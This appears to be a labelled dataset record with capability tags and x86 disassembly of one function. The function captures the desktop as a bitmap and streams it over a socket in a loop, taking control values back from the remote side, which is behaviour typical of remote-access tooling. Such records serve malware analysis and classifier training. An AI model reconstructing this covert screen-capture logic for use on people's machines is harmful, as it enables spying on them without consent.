Function at 0x40d9a5
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push 0x84
mov eax, 0x4220d3
call fcn.0040f5c1
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [0x431b54], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [0x431d60], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x40dbec
push 0x431d64
push 0x4233a0
push 1
push ebx
push 0x4233b0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x40dbec
mov edx, esi
lea ecx, [ebp - 0x13]
call fcn.00402de9
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402e0d
mov dword [ebp - 4], ebx
lea edx, [ebp - 0x90]
mov ecx, dword [0x431db0]
lea ecx, [ecx + 0xf4]
call fcn.0040941f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90]
mov ebx, eax
call fcn.00402c72
cmp ebx, 0xffffffff
je 0x40dbec
jmp 0x40db89
push 0x10
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov esi, eax
test esi, esi
je 0x40da89
and dword [ebp - 0x6c], 0
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push eax
push 0
push dword [ebp - 0x74]
mov dword [esi], 0x42a61c
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x6c]
mov dword [esi + 4], eax
jmp 0x40da8b
xor esi, esi
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x20]
mov edx, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp - 0x78]
push dword [edi + 8]
call fcn.0040c98b
pop ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
test esi, esi
je 0x40dab5
mov eax, dword [esi]
push ecx
mov ecx, esi
call dword [eax]
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x44]
call fcn.00407253
cmp byte [ebp - 0x30], 0
je 0x40dbcf
mov al, byte [edi + 4]
xor esi, esi
mov byte [ebp - 0x68], al
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x34]
push esi
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x68]
push 0xc
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40dbc1
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x44]
push esi
push eax
push dword [ebp - 0x44]
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40dbc1
push esi
push 4
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], esi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40dbc1
mov eax, dword [ebp - 0x48]
push esi
mov dword [edi + 8], eax
lea eax, [ebp - 0x4c]
push 4
push eax
push ebx
mov dword [ebp - 0x4c], esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40dbc1
mov eax, dword [ebp - 0x4c]
push esi
mov dword [0x431b54], eax
lea eax, [ebp - 0x2c]
push 4
push eax
push ebx
mov dword [ebp - 0x2c], esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40dbc1
mov eax, dword [ebp - 0x2c]
push 0x64
mov dword [0x431d60], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x30], 0
je 0x40db7d
lea ecx, [ebp - 0x44]
call fcn.00402b8e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402b8e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, eax
lea edi, [ebp - 0x5c]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
push dword [ebp - 0x50]
mov edx, dword [ebp - 0x54]
lea ecx, [ebp - 0x74]
call fcn.0040ce2c
mov al, byte [ebp - 0x70]
pop ecx
test al, al
jne 0x40da4f
jmp 0x40dbdb
cmp byte [ebp - 0x30], 0
je 0x40dbcf
lea ecx, [ebp - 0x44]
call fcn.00402b8e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402b8e
mov eax, dword [0x431d64]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.0040f57f
ret 0xc